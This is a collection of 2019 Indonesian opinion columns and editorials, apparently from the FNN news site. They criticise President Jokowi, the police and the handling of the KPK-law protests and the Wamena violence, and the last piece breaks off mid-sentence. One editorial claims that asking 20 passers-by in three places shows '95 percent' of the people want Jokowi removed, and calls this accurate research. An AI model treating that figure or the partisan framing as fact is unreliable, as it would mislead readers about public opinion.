diantara DPD, malah menjadi perdebatan sengit yang tidak berkesudahan. Berbagai permasalahan yang kini muncul dan berekembang daerah yang seharusnya menjadi perhatian para anggota DPD, malah tidak diperhatikan. Sekarang terlihat masihg adanya perdebatan para anggota DPD terkait soal tata tertib (Tatib) Anggota DPD. Padahal Tata Tertib ini sudah disepakati dan ditetapkan melalui beberapa kali persidangan. Perdenatan-perdebatan yang tidak perlu ini sebaiknya dihindari. Kesepakan yang sudah dicapai melalui keputusan Pleno Badan Kehormatan, sudah seharusnya dipatuhi. Toh kesepakatan yang sudah dicapai mengenai tata tertib tentu saja melalui pembahasan-pembahsan yang panjang. Tujuannya baik, demi untuk perbaikan kinerja kelembagaan DPD ke depan. Arah dan perubahan tatib ini dapat dipahami sebagai untuk memaksimalkan tugas dan fungsi anggota DPD kedepan. Jika ada kekurangan, tentu dalam prosesnya nanti dapat diperbaiki. Inti permasalahannya adalah bagaimana agar anggota DPD ini bisa bergerak cepat merespon permasalahan-permasalahan daerah yang kian komplieks. Saat ini oleh emerintah terkesan tidak mampu mengatasinya. Pada kondisi seperti inilah peran penting dan strategis dari DPD sangat dibutuhkan kehadirannya di tengah-tengah masyarakat. DPD sudah sharusnya tampil untuk mengambil momentum saat ini. DPD harus menunjukan jati dirinya kepada masyarakat dan daerah bahwa DPD ada hadir untuk mereka. Jangan sampai DPD masih terkesan hanya sebagai lembaga pelengkap saja tanpa punya fungsi dan kontribusi di tengah masyarakat. DPD harus menjadi corong bagi kepentingan rakyat di daerah. Karena DPD diisi oleh para tokoh penting dari daerah masing-masing. Mereka adalah tokoh-tokoh yang berkualitas dan dipercaya masyarakat. Mereka mempunya pengaruh yang kuat di tengah-tengah masyarakat. Untuk itu para anggota DPD jangan sampai terjebak pada perdenatan-perdenatan yang tidak sustansial. Penulis adalah Pengajar Fakultas Hukum Universitas Nasional Jakarta

Jokowi, Sudahlah!

Jokowi akan dicatat sebagai Bapak Infrastruktur dan pelopor pejabat yang berani mundur. Oleh Editorial Forum News Network Jakarta, FNN - Seminggu terakhir ini jagat maya diramaikan dengan tuntutan agar Presiden Jokowi lengser. Saran ini lebih baik daripada bertahan tapi ada demonstrasi sepanjang tahun, apalagi jatuh banyak korban jiwa. Mesin pencari dan analisis media Drone Emprit menemukan 756.886 share of voice kalimat "Turunkan Jokowi" yang diserap dari media online dan media sosial. Hari ini, Senin, 30 September 2019, pukul 10.56, mesin google menemukan 54.000.000,00 kalimat “Jokowi Turun”. Sementara, kalimat “Lanjutkan Jokowi” hanya 6.330.000. Ini riset sederhana, tetapi bisa menjadi acuan. Itulah kenyataan di dunia maya. Sekarang kita coba datang ke pasar, terminal, stasiun, bandara, dan kampus; lalu tanyakan kepada mereka apakah lebih banyak pilih “Turunkan Jokowi” atau “Lanjutkan Jokowi”. Di Pasar Leuwiliang, Bogor, 8 dari 9 orang yang ditanya memilih “Turunkan Jokowi”; di Stasiun Kereta Api Purwokerto, Jawa Tengah, 6 dari 7 orang yang ditanya memilih “Turunkan Jokowi”; di Pasar Atas Kota Bukittinggi, Provinsi Sumatera Barat, 5 responden yang ditanya semua menyatakan “Turunkan Jokowi”. Jika ketiga responden ini dibuat pie chart maka akan terbaca dengan jelas bahwa 95 persen rakyat menghendaki Jokowi turun. Riset tersebut sederhana, tetapi akurat karena dilakukan tanpa ada upaya mengutak-atik angka atau pilih-pilih responden. Riset seperti ini biasanya amanah dan layak dipercaya karena tidak ada pihak mana pun yang membiayainya. Apakah fakta ini menjadi satu-satunya alasan untuk melengserkan mantan walikota Solo itu? Tentu saja tidak. Namun, ini setidaknya menjadi indikasi jelas bahwa presiden yang tak pernah memasukkan kemeja putih itu, minim legitimasi, miskin kepercayaan, dan fakir keteladanan. Sentimen negatif ini akan terus meningkat seiring dengan merosotnya kepercayaan publik. Pak Presiden saat ini bisa bertahan hanya dari tiga tiang utama. Pertama, karena serangan buzzer yang menaikkan setinggi-tingginya hasil kerjanya dan menenggelamkan sedalam-dalamnya kekurangannya serta didesain dengan begitu apik sehingga publik tertipu. Kedua, pengekangan media massa untuk menutupi berita-berita miring tentang rezim ini, bahkan berita-berita normal saja sering “dibreidel” jika itu berdampak terhadap popularitas rezim. Ketiga, intimidasi terhadap media sosial dan ancaman pasal ujaran kebencian. Buzzer pemuja rezim bebas ngomong apa saja, termasuk memproduksi hoaks sebanyak-banyaknya. Ketika ada oposisi atau masyarakat yang tak sepaham lalu berkomentar, mereka diciduk dengan pasal ujaran kebencian UU ITE. Algojonya, tentu saja polisi. Sangat tidak adil. Mengapa isu "Turunkan Jokowi" atau “Jokowi Turun” menjadi populer? Sebab sejak tahun pertama menjabat presiden hingga memasuki periode kedua, publik geram terhadap sikap lingkaran ring satu istana yang tak peka menyikapi keadaan. Tampaknya, presiden hanya mendapat masukan yang baik-baika. Padahal, ini bisa menjadi racun, sebagaimana kata pakar hukum tata negara, Refli Harun, bahwa penguasa sering kali gagal karena selama ini hanya mendengar orang-orang yang memuji tanpa mempertimbangkan pihak yang mengkritiknya. "Mengapa penguasa sering gagal memimpin? Karena dia hanya mau mendengar pemujinya ketimbang pengkritiknya. Padahal, pujian bisa jadi racun dan kritik justru obat. Jadi, dengarkanlah lebih banyak kritik ketimbang pujian," kata dia, Sabtu (28/9/2019). Presiden juga dianggap tidak tegas sekaligus tidak jelas. Ia tidak tegas menyelesaikan masalah Papua dan tidak jelas menuntaskan reformasi. Masalah kebakaran hutan Kalimantan hanya salah satu dari puluhan masalah yang tak kunjung selesai. Publik makin geram ketika UU KPK - yang sarat kepentingan politik dan kelompok – telah diberlakukan. Ada RUU KUHP yang bikin geregatan masyarakat. Isinya tak mencerminkan hasil karya praktisi hukum, cenderung norak, dan asal asalan; di samping RUU PKS dan RUU Pertanahan yang juga menimbulkan masalah baru. Aneh, sebuah negara membuat aturan yang hanya menimbulkan kegaduhan. Kekacauan ini membangkitkan masyarakat untuk melakukan protes. Defisit BPJS, utang negara menggunung, daya beli rendah, dan pertumbuhan ekonomi yang lemah adalah pemicunya. Presiden dianggap tidak mampu menunaikan tugasnya dengan baik. Janji muluknya dibalas dengan pencitraan yang tidak penting dan membosankan. Jahatnya, buzzer rezim ini menuduh masyarakat sebagai kaum radikal, intoleran, dan anti-NKRI. Sebuah tuduhan yang sangat biadab. Tuduhan ngawur itu tidak pernah terbukti dan anehnya polisi tidak memprosesnya. Rezim pembenci oposisi ini tidak pernah terkena pasal ujaran kebencian. Jokowi tidak boleh merasa nyaman dalam situasi seperti ini karena mayoritas masyaraat Indonesia gerah dengan ketidakadilan hukum, sosial, dan politik di negeri ini. Masyarakat akan miris jika melihat presiden disoraki saat kunjungan ke daerah seperti masa kempanye kemarin. Jokowi pasti bisa meneladani Pak Harto dan Gus Dur. Demi NKRI mereka rela dan legowo mengundurkan diri. Nama mereka – dan Jokowi kelak - tetap harum. Gus Dur tidak takut kehilangan jabatan. Jabatan itu, kata Gus Dur, sama dengan nyawa - yang harus siap kapan pun dicabut. Jokowi tidak perlu takut bayangan, tidak ada istilah wirang, turunlah dengan elegan. Kelak sejarah akan mencatat dengan baik sebagai pemimpin yang bijaksana, pintar membaca situasi, dan jauh dari kesan ambisius. Mungkin juga akan dibuatkan prasasti sebagai Bapak Infrastruktur dan Pelopor Pejabat Tahu Diri. Ada ikon baru untuk Bapak Jokowi. Ingat, turun hari ini, 21 Oktober 2019 atau 21 Oktober 2024 sama saja. Yang membedakan, kalau turun hari ini, Jokowi benar-benar seorang pemimpin yang mengutamakan kepentingan rakyat, responsif terhadap tuntutan rakyat, dan merasakan penderitaan rakyat. Masyarakat memaklumi Jokowi yang galau membayangkan lengser sebagai sesuatu yang menakutkan. Maklum, karena dua kali berkuasa, baik di Solo mapun di DKI, Jokowi turun dengan lembut, dipapah dengan aman, dituntun, ditandu dengan hati-hati, dan diiringi tepuk tangan. Jangan takut fatamorgana turun dari kursi kepresidenan. Anggap saja main prosotan di water boom, awalnya ngeri, tapi setelah dijajal akhirnya asyik juga. Sesuatu yang awalnya sulit, biasanya berakhir dengan mudah. Apalagi para pendukungnya sudah bikin tatto ramai-ramai “NKRI Harga Mati” didukung oleh Macan Asia. Artinya, bakal aman dan tidak akan terjadi apa-apa demi NKRI. Jokowi, sudahlah. Anda bisa membungkam media, menjinakkkan politisi, dan memenjarakan yang berbeda, tapi tidak bisa merampas ponsel rakyat. Terlampau mengerikan jika melihat video dan gambar-gambar di media sosial, tentang ketidakadilan, tentang kejahatan, tentang kebiadaban. Dari Aceh sampai Papua. Dan Anda masih bisa bersepeda ria. Nurani kami menangis. Kami masih mendengar lagu ini, “Kita adalah Satu Indonesia, tidak ada Cebong, tidak ada Kampret,” Nyanyian koor Jokowi dan Prabowo ini masih sering melintas di telinga kita, yang ternyata tak punya makna apa. (Editorial)

Jokowi Makin Kalang Kabut

Munculnya tagar #MenyesalMemilihJokowi menunjukkan semakin merosotnya kepercayaan masyarakat terhadap kepemimpinan Jokowi. Bahkan, dari internal kekuasaan. Oleh Mangarahon Dongoran (Wartawan Senior) Jakarta, FNN - TULISAN saya sebelumnya berjudul, "Jokowi Sumber Masalah," banyak mendapatkan cibiran dari pendukungnya. Saya sudah menduga akan seperti itu. Jokowi Makin Kalang Kabut, ini pun saya pastikan dianggap para pendukungnya sebagai usaha memojokkan Presiden Joko Widodo atau Jokowi. Bahkan, bisa jadi mereka menuduh saya memfitnah, memprovokasi, dan sederet sebutan lainnya. Saya tidak akan ambil pusing. Saya hanya berusaha menyuarakan hati nurani dan fakta-fakta terkini. Saya hanya ingin mengkritìsi, seperti yang saya lakukan di rezim Orde Baru, era BJ Habibie, Gus Dur, Megawati, SBY dan era Jokowi. Jokowi Makin Kalang Kabut! Ibarat pepatah, "Maju kena, mundur kena!" Kenapa? Karena rencananya mengeluarkan Perppu (Peraturan Pemerintah sebagai Pengganti Undang-undang) tentang UU KPK yang baru, mendapat penolakan dari PDIP, partai utama pendukungnya maju pada pemilihan presiden. Akhirnya Jokowi serba salah! Lagi-lagi pepatah mengatakan, "Ibarat buah si malakama, dimakan mati ibu, tidak dimakan mati ayah." Mengapa? Coba saja pembaca lihat dan saķsikan berbagai peristiwa yang terjadi belakangan ini (kecuali di Papua- rusuh karena tuntutan merdeka). Sejak awal demosntrasi yang dilakukan mahasiswa dan pelajar SMK-- ee mereka lebih suka disebut pelajar STM -- selalu diakhiri dengan rusuh atau kalimat paling tepat, bukan rusuh, tetapi perang saudara dengan polisi. Jokowi serba salah! Demonstrasi yang marak dalam beberapa hari belakangan ini di berbagai kota menuntut agar DPR tidak mensyahkan RUU KUHP dan beberapa RUU lainnya. Juga tuntutan agar UU KPK dibatalkan, karena isinya jelas melemahkan lembaga antirasuah itu dalam memberantas korupsi. RUU KUHP dan beberapa RUU sudah ditunda. Ketika ditunda, pemerintah berharap demo berkurang. Akan tetapi, kenyataannya, demo terus terjadi di berbagai tempat. Paling lucu dan mengherankan, baru sekarang ada pelajar ikut demo dengan atribut sekolahnya. Mereka terutama pelajar STM (Sekolah Teknik Menengah). Mereka lebih suka disebut pelajar STM ketimbang SMK (Sekolah Menengah Kejuruan). Mungkin mereka kesal, karena nama SMK "dicatut" jadi bahan jualan politik lewat mobil Esemka. Jokowi serba salah! Jika melihat perkembangan situasi terakhir, masyakat pun semakin pesimistis keadaan semakin baik. Bahķan ada tagar yang muncul di medsos #MenyesalMemilihJokowi. Entah siapa yang membuatnya. Akan tetapi, itu bukti semakin merosotnya kepercayaan masyarakat terhadap kepemimpinan Jokowi. Jokowi dan jajarannya berharap, setelah RUU KUHP ditunda DPR, demo mereda. Apalagi, Jokowi sendiri sebelumnya meminta agar DPR menunda pengesahannya. Akan tetapi, harapan agar demo berkurang dan tensi politik turun, hanya tinggal harapan. Faktanya demo semakin kencang. Tensi politik akan terus naik, baik menjeĺang pelantikan Presiden dan Wakil Presiden, 20 Oktober 2019 maupun seterusnya. Jokowi serba salah! Ah itu kan menurut penulisnya. Asumsi itu bisa benar dan bisa salah. Akan tetapi, fakta yang bicara. Ketika Jokowi meminta bertemu dengan Badan Eksekutif Mahasiswa (BEM) se Indonesia, mereka menolaknya. Sama seperti 1998, saat demonstrasi mahasiswa marak, Soeharto juga meminta bertemu BEM se Indonesia. Akan tetapi, mereka (BEM) menolaknya. Lalu bagaimana dengan peserta demonstrasi pelajar STM? Mereka tidak dikoordinir oleh OSIS atau Organisasi Siswa Intra Sekolah. Lalu siapa nanti yang akan mewakili mereka jika diminta bertemu Presiden? Toh, teman-teman mereka juga menjadi korban kekerasan aparat kepolisian. Paling kepala sekolah atau pengurus yayasan dipanggil dinas pendidikan setempat. Akan tetapi, pemanggilan itu tidak logis. Sebab, para pelajar itu melakukan aķsinya di luar jam belajar. Artinya, aksi demo para pelajar itu sudah berada dalam tanggungjawab keluarga dan lingkungan. Kalaupun kepala sekolah dan pemilik yayasan dipanggil, yang ada adalah pembinaan kepada mereka. Jawabannya, "Pasti dibina.! Toh, selama ini, tanpa demo pun, kepala sekolah bersama guru-guru dan staf sekolah sudah membina para pelajar. Kalau tidak ada pembinaan, tidak mungkin mereka sekolah, naik kelas dan bahkan nanti lulus 100 persen. Jokowi serba salah! Bisa benar bisa salah. Akan tetapi fakta yang bicara. Ketika Jokowi menerima 45 orang yang dianggap sebagai tokoh bangsa (maaf yang diterima umumnya pendukung Jokowi), kepercayaan masyarakat sudah terus berkurang. Sama, ketika Soeharto menerim beberapa tokoh untuk membentuk Komite Reformasi. Jokowi menerima di Istana Kepresidenan, Pak Harto juga menerima di tempat yang sama. Perbedaannya, Jokowi mempertimbangkan Perpu UU KPK yang baru disahkan DPR. Sedangkan 1998, tokoh yang diundang langsung menolak pembentukan Komite Reformasi yang diusulkan Soeharto. Pak Harto menginginkan cendekiawan Muslim Nurcholis Madjid yang biasa dipanggil Cak Nur menjadi Ketua Komite Reformasi yang diisi sejumlah tokoh. Namun, Cak Nur menolaknya. Akhirnya Komite Reformasi gagal dibentuk dan situasi negara semakin memburuk dan terpuruk. Jokowi serba salah! Kenapa? Kalaupun akhirnya menebitkan Perppu terkait UU KPK yang baru, ia tetap menghadapi masalah besar. Para pendemo tidak akan diam dengan "hadiah" Perppu itu. Luka hati para pendemo tidak akan terobati dengan Perppu itu. Sebab, sudah semakin banyak korban di pihak pendemo, banyak yang ditahan dan bahkan dua mahasiswa tewas ditembus peluru. Kalau tuntutan sudah dipenuhi, mestinya demo berhenti. Akan tetapi, faktanya berbeda. Tuntutan agar RUU KUHP dan sejumlah RUU lainnya yang tidak disetujui DPR, tapi kok masih demo. Bukankah tuntutan pendemo itu sudah sejalan dengan keinginan Jokowi dan aparatur pemerintahannya? Akan tetapi kok masih demo. Jokowi serba salah! PDIP sebagai pengusung utama Jokowi dalam dua kali Pilpres jelas menolak Perppu dikeluarkan. Alasannya, kalau Perppu mudah dikeluarkan, itu berbahaya. Lebih baik mereka yang tidak setuju membawanya ke Mahkamah Konstitusi (MK). Akan tetapi, kepercayaan masyarakat terhadap MK masih rendah, terutama pasca putusan MK atas hasil Pilpres yang baru lalu. Jokowi serba salah! Kenapa? Ya, karena persoalan yang muncul tidak lagi sekadar KPK yang terus dilemahkan lewat UU yang baru. KPK adalah 'anak kandung' reformasi 1998. Reformasi yang juga diawali demonstrasi yang menyebabkan empat mahasiswa tewas di ujung peluru tajam. Jokowi tidak sekadar serba salah, tetapi semakin kalang kabut! Mengeluarkan Perppu salah, tidak mengeluarkan pun lebih salah lagi. **

Pemerintah Alpa dengan Tragedi Kemanusiaan di Papua

Sudah 32 orang meninggal dari suku Bugis dan Minang. Mereka menjadi korban pembantaian etnis oleh masyarakat asli Papua. Sementara negara dan pemerintah masih sibuk dengan mengurus demonstrasi mahasiswa. Pemerintah hanya sibuk urus kekuasaannya. Sementara persatuan dan kemanusiaan yang mengancam NKRI ditutup oleh tebalnya kabut asap ban mobil dan semprotan gas air mata untuk mempertahankan kekuasaan Oleh Dr. Ahmad Yani, SH. MH. Jakarta, FNN - Tindak kekerasan di Wamena, Papua, menimbulkan puluhan korban meninggal. Ratusan orang lainnya luka-luka. Ratusan rumah dan fasilitas umum hancur. Kekerasan tersebut terakumulasi dari protes sosial yang berujung pada separatisme. Duka dan kematian yang menelan korban para pendatang. Umumnya dari suku Minang dan Bugis, serta suku-suku lainnya yang hidup di papua menyayat hati kita. Negara absen, Negara tidak dalam duka ini. Ada ratusan ribu orang pendatang yang hidup di Tanah Papua. Bahkan mungkin juga jutaan orang, seperti yang dikemukakan oleh ulama asal Papua, Uatdz Fadlan Garamatan. Orang Papua juga hidup di wilayah lain dalam negara Indonesia. Semua warga negara hidup rukun, damai dan tidak separatis. Saling kasih sayang mewarnai kehidupan kita, karena kita berada dalam naungan NKRI. Tindakan separatis dalam bentuk apapun tidak dibenarkan dalam negara Indonesia. Pemerintah wajib hadir dan membela setiap warga negara yang memperoleh perlakuan rasis itu. Sebab, negara menjamin setiap orang untuk hidup menurut agama, keyakinan dan kulturnya masing-masing. Tidak boleh ada warga negara yang diperlakukan secara diskriminatif dengan alasan apapun. Setiap daerah yang terintegrasi dalam wilayah Negara Kesatuan Republik Indonesia wajib menjaga kesatuan dan persatuan bangsa. Inilah komitmen kita bernegara. Komitmen ada sejak kita berbangsa dan bernegara tahun 1945. Komitmen ini juga berlaku semenjak Papua menyatakan diri bergabung dalam NKRI tahun 1969 melalui Penentuan Pendapat Rakyat (Pepera). Namun apa yang terjadi di Wamena, Papua, berupa pemnatai terhadap pendatang Minang dan Bugis, bukan lagi tindakan yang biasa-biasa. Ini sudah menjadi kejahatan yang sangat luar biasa. Ini sudah pembantaian etnis (genosida) terhadap para pendatang di daerah itu. Perasaan "kebencian" orang Papua terhadap pendatang sudah tidak bisa dibenarkan lagi menurut hukum apapun. Apakah itu hukum Indonesia, maupun Hukum Internasional. Kelompok separatis yang diprovokasi oleh Benny Wenda sangat beringas. Mereka mencabik-cabik perasaan kemanusiaan kita. Mereka menghancurkan keharmonisan bernegara kita. Tragisnya, pada saat yang bersamaan, negara diam tanpa sikap apapun terhadap kejahatan kemanusiaan itu. Meskipun kita tetap mengakui, banyak masalah yang belum bisa diatasi oleh pemerintah dalam rangka pemerataan pembangunan di Papua. Namun kita tidak bisa membenarkan dengan alasan yang sama atas pembunuhan terhadap sesama warga negara. Kalau masalah kesenjangan menurut saya, Orang Papua harus menuntut kepada pemerintah. Bukan membantai sesama warga negara. Dengan alasan apapun juga pembantaian itu adalah kejahatan terhadap rasa dan nilai kemanusiaan kita. Jalan Pemerintah Situasi kemanusiaan yang memburuk di Papua hari ini, tidak bisa hanya diselesaikan dengan kata "harap tenang" atau "pace, mace, sabar". Butuh langkah konkrit untuk mengatasi ini. Negara harus hadir melindungi segenap bangsa dan seluruh tumpah darah Indonesia. Begitulah perintah konstitusi kita pada Pembukaan UUD 1945 Pemerintah Jokowi harus belajar dan berkaca pada sejarah. Bagaimana cara menyelesaikan konflik daerah seperti di Papua tersebut. Misalnya, ketika Perdana Menteri Mohammad Natsir menyelesaikan masalah tuntutan rakyat Aceh. Peristiwa itu tertadi pada tanggal 22 Desember 1950. Hasil dari kongres PUSA (Persatuan Ulama Seluruh Aceh) dan Mosi DPRD Aceh, yang meminta untuk menjadi Provinsi Sendiri. Bukan lagi bagian dari Provinsi Sumatra Utara. Mohammad Natsir sebagai Perdana Menteri, dengan didampiungi KH Masjkur beserta rombongan, mengunjungi Kutaraja, Banda Aceh pada tanggal 22-23 Januari 1951. Tujuannya, untuk berdialog dengan Gubernur Aceh Tengku Daud Beureueh, Ulama PUSA dan Anggota DPRD Aceh serta Rakyat Aceh. Dialog antara rombongan Natsir dengan wakil-wakil Aceh yang berujung kebuntuan atau deadlock. Kerana Aceh tetap pada pendiriannya, yaitu menjadi provinsi sendiri. Tidak mau menjadi bagian atau bergabung dengan Sumatra Utara. Dalam kebuntuan tersebut, akhirnya Natsir menyampaikan kepada Tengku Daud Beureueh, besok saya balik ke Jakarta. Setiba di Jakarta, saya segera menghadap Paduka Yang Mulia Presiden Soekarno, untuk mengembalikan Mandat sebagai Perdana Menteri. Karena telah Gagal untuk mencapai kesepakatan antara Pemerintah Pusat dengan saudara-saudaraku di Aceh. Daud Beureuh kaget dan terheran dengan pernyatan Natsir tersebut. Daud Beureuh lalu menanyakan apa alasan Natsir mengembalikan mandat sebagai Perdana Menteri kepada Presiden Soekarno? Natsir menjelaskan, karena saya telah gagal mencapai kesepakatan antara pemerintah pusat dan saudara-saudaraku di Aceh. Sebab, kalau Aceh masih tetap saja berkeras, dan Pemerintah Pusat juga bersikeras, maka Pemerintah Pusat akan mengambil tindakan tegas, termasuk mengirim pasukan tentara apabila Aceh tetap dengan pendiriannya. "Saya tidak mau menyaksikan peristiwa 'perang saudara' itu terjadi. Karena Aceh telah memberikan sumbangan yang sangat besar dalam mendukung proklamasi kemerdekaan, dan mempertahankan negara proklamasi. Saya tidak ingin itu terjadi pada saat saya masih menjabat Perdana Menteri, “kata Natsir kepada Daud Beureuh. Mendengar ucapan Natsir itu, Tengku Daud Beureueh, terdiam dan tertekun sejanak. Setelah itu dengan tarikan nafas panjang, Daud Beureuh meminta kepada Natsir untuk menunda kepulangannya ke Jakarta beberapa hari. Karena besok, Daud Beureuh akan segera mengumpulkan Ulama PUSA dan DPRD untuk membicarakan permasahan ini. Setelah diadakan pertemuan kembali dengan rombongan Natsir, Tengku Daud Beureueh, Ulama PUSA dan DPRD, akhirnya Aceh menerima jalan kompromi yang ditawarkanNatsir. Yaitu setuju pembentukan propinsi sendiri yang terpisah dengan Sumatra Uatara. Namun melalui mekanisme dan prosedur yang ada, karena pemerintah pusat masih terikat dengan perjanjian RIS. Dengan demikian, pembentukan provinsi sendiri bagi Aceh bisa dilakukan, namun dengan lebih dulu merubah undang-undang. Dan itu masih memerlukan waktu. Apa yang dilakukan oleh M. Natsir dalam menangani persoalan Aceh ini dapat menjadi pelajaran bagi pemerintah Jokowi sekarang. Natsir siap meletakkan jabatannya sebagai perdana Menteri kalau gagal mendamaikan Aceh. Kepribadian seperti itu harus tertanam dalam diri pemerintah sekarang. Upaya yang dilakukan Perdana Menteri Natsir dengan turun langsung memperudingkan masalah Aceh adalah merupakan sikap pemimpin yang mau menyelesaikan konflik. Bukan seperti sekarang ini, setengah hati menangani masalah Papua. Akibatnya, korban berjatuhan tanpa kehadiran negara., Penanganan konflik lokal tidak bisa di serahkan kepada pemerintah daerah. Apalagi kelompok separatis tidak lagi berkompromi dengan pemerintah pusat. Mereka juga ingin keluar dari NKRI dengan alasan membentuk negara sendiri (merdeka). Artinya, tidak ada pintu untuk dialog lagi. Untuk melindungi warga negara pendatang di Papua, pemerintah harus mengerahkan kekuatan militer yang besar. Konflik Papua di sudah melewati komunikasi yang panjang. Namun pemerintah pusat tidak serius melakukan perubahan-perubahan. Akibatnya, pintu dialog antara Papua dan Jakarta tertutup. Kemarahan orang Papua itu bukan lagi kemarahan vertikal kepada pemerintah pusat, melainkan sudah menjadi kekejaman rasial horizontal antara orang Papua asli dengan pendatang. Yang terjadi sekarang adalah "perang" antar warga negara. Negara dan pemerintah dimana? Sudah 32 orang meninggal dari suku Bugis dan Minang. Mereka menjadi korban pembantaian etnis oleh masyarakat asli Papua. Sementara negara dan pemerintah masih sibuk dengan mengurus demonstrasi mahasiswa. Pemerintah hanya sibuk urus kekuasaannya. Sementara persatuan dan kemanusiaan yang mengancam NKRI ditutup oleh tebalnya kabut asap ban mobil dan semprotan gas air mata untuk mempertahankan kekuasaan. Negara Alpa Rakyatberhak meminta pertanggungjawaban pemerintah atas keamanan dan kenyamanan kehidupan mereka dari negara di dalam negara. Kenapa pemerintah dan negara tidak hadir untuk memberikan perlidungan kepada rakyat? Apakah pemerintah tidak melihat adanya pembantaian ini? Pemerintah terlalu sibuk untuk mengurus kursi kekuasaan. TNI dan Polri sebagai kekuatan penjaga kemanan NKRI ikut-ikutan sibuk pula dalam mengawal kursi kekuasaan. Contohnya, TNI menyatakan mengancam siapa saja yang ingin menggagalkan pelantikan presiden terpilih. Siapa yang ingin menggagalkan pelantikan presiden akan berhadapan dengan TNI. Luar biasa TNI sekarang Sementara persoalan yang mengancam kedaulatan bangsa dan membuat tercabik-cabiknya NKRI terjadi di depan mata. NamunTNI dan Polri tidak memiliki sikap apapun. Sehingga sebagai warga Negara, kita patut bertanya, kepada siapa kita harus meminta pengamanan? Rakyat Indonesia di Papua, dan ribuan orang di Wamena dalam keadaan tertekan dan terancam oleh gerakan separatis. Kenapa negara dalam hal ini Presiden, Para Menteri, TNI, Kepolisian, tidak memiliki sikap dan langkah apapun untuk memberikan keamanan kepada warga negara yang terancam nyawanya? Dimana dan kemana saja lembaga-lembaga negara ini menyembunyikan diri. Saya sendiri sangat menyayangkan absenya pemerintah pusat dalam melindungi warga negara di Papua, khususnya Wamena. Begitupun dengan Din Syamsuddin yang juga menyesalkan respon aparat keamanan dan penegakan hukum yang sangat lamban dan tidak adil. Dapat disimpulkan bahwa negara tidak hadir membela rakyatnya. Negara gagal menjalankan amanat konstitusi yakni melindungi rakyat dan seluruh tumpah darah Indonesia. Hal senada juga disampaikan oleh Syahganda Nainggolan yang menyebutkan bahwa pemerintah Jokowi tidak hadir dalam persoalan kemanusiaan di Wamena Papua. Pemerintah Jokowi terlalu disibukkan oleh persoalan demonstrasi di Jakarta. Dalam hal ini dapat disimpulkan bahwa pemerintah Jokowi lalai dalam melindungi warga Negara, dan alpa dalam setiap persoalan bangsa. Separatis Melanggar HAM Gerakan Papua Merdeka bukan lagi sebatas jargon semata. Bendera Bintang Kejora juga bukan lagi sebatas bendera adat masyarakat Papua. Tetapi itu sudah berubah menjadi symbol dan lambang separatisme di Indonesia. Benny Wenda sebagai pimpinan gerakan separatis Papua wajib untuk bertanggungjawab atas kematian 32 orang Minang dan Bugis di Wamena. Bahkan masih ada ratusan korban luka-luka. Selain itu, ratusan rumah serta fasilitas umum yang dibakar. Keamanan warga negara disana adalah tanggung jawab pemerintah. Pada tahap ini negara dan pemerintah wajib bertanggungjawab atas persoalan pembantain yang menimpa warga negara Indonesia di Tanah Papua. Keamanan dan nyawa mereka adalah tugas negara menjaganya. Pemerintah saatnya menyatakan bahwa gerakan Operasi Papua Merdeka adalah gerakan separatis, yang telah melanggar HAM. Gerakan ini juga telah mengkhianati prinsip-prinsip dasar negara Pancasila dan hukum kemanusiaan Internasional. Pemerintah jangan menganggap urusan Papua sebagai hal yang biasa. Kalau sudah tidak mampu merekatkan bangsa, lebih baik menyatakan sikap. NKRI sedang dalam bahaya, dan perlu pemimpin yang punya komintmen, keberanian, kecerdasan dan independen dalam menyelesaikan semua problem bangsa sekaran ini. Semoag saja bisa berhasil. Wallahualam bis shawab. Penulis adalah Dosen Fak. Hukum dan Fak. Ilmu Sosial Politik Universitas Muhammadiyah Jakarta

Indonesia Menuju Police State

Jadi, keberpolitikan kepolisian tidak diragukan lagi. Tidak disangsikan bahwa “political police force” (kepolisian yang politis) adalah ciri yang sekarang melekat di tubuh Polri. Institusi milik seluruh rakyat dan yang seharusnya hanya mengabdi untuk seluruh rakyat itu, berubah menjadi milik penguasa. Berubah menjadi alat pribadi penguasa untuk menyukseskan misi politik mereka. By Asyari Usman Jakarta, FNN - Apa itu ‘police state’? Terjemahan langsungnya adalah ‘negara polisi’ atau ‘negara kepolisian’. Terus, apa defenisinya? Menurut kamus Oxford, negara polisi adalah “a totalitarian state controlled by a political police force that secretly supervises the citizens' activities”. Lebih kurang artinya adalah, “sebuah negara totaliter yang dikuasai oleh kepolisian yang politis, yang secara rahasia mengawasi aktivitas warga negara”. Dan menurut Wikipedia, “A police state is a government that exercises power arbitrarily through the power of the police force.” Artinya, “negara polisi adalah suatu pemerintahan yang menjalankan kekuasaan sewenang-wenang melalui kekuasaan kepolisian.” Apakah Indonesia saat ini bisa disebut ‘police state’? Jawabannya, masih belum. Tetapi, sedang dalam perjalanan menuju ke sana. On the way menuju negara polisi. Indikasinya apa? Indikasinya bisa anda lihat apakah kepolisian di Indonesia sudah memiliki karakteristik (ciri) yang tersurat maupun yang tersirat di dalam kedua definisi di atas. Di dalam definisi pertama (Oxford), kata kuncinya adalah “politcal police force”. Yaitu, “kepolisian yang politis”. Maksudnya adalah, ‘kepolisian yang terkooptasi ke dalam kegiatan politik dan digunakan untuk kepentingan politik penguasa’. Apakah Polri di bawah pimpinan Jenderal Tito Karnavian cocok dengan definisi ini? Apakah Polri telah menjadi ‘political police force’? Menurut hemat saya, iya. Coba saja anda buat check-list (daftar) keanehan sepak-terjang kepolisian dalam agenda politik nasional. Berpolitikkah polisi, atau tidak? Memihakkah polisi kepada misi pribadi Jokowi, atau tidak? Tak usahlah kita elaborasikan jawaban untuk dua pertanyaan ini. Anda semua pasti bisa merasakan. Anda telah menyaksikan sendiri ‘behaviour’ (perilaku) kepolisian di masa kepresidenan Jokowi. Coba Anda ingat kembali bagaimana perilaku para petugas kepolisian di semua level dalam menyikapi proses pemilihan presiden 2019. Mulai dari masa prakampanye sampai masa kampanye pilpres. Kapolri membawa polisi memihak Jokowi. Tidak semua personel kepolisian setuju memihak, tetapi mereka tidak bisa menentang secara terbuka. Jadi, keberpolitikan kepolisian tidak diragukan lagi. Tidak disangsikan bahwa “political police force” (kepolisian yang politis) adalah ciri yang sekarang melekat di tubuh Polri. Institusi milik seluruh rakyat dan yang seharusnya hanya mengabdi untuk seluruh rakyat itu, berubah menjadi milik penguasa. Berubah menjadi alat pribadi penguasa untuk menyukseskan misi politik mereka. Sekarang, coba kita cermati definisi ‘negara polisi’ menurut Wikipedia. Yaitu, “pemerintah yang menjalankan kekuasaan sewenang-wenang melalui kepolisian”. Nah, menurut anda, apakah Polri hari ini pas dengan definisi itu? Agaknya sulit untuk dibantah memang. Lihat saja apa yang dilakukan oleh polisi dalam 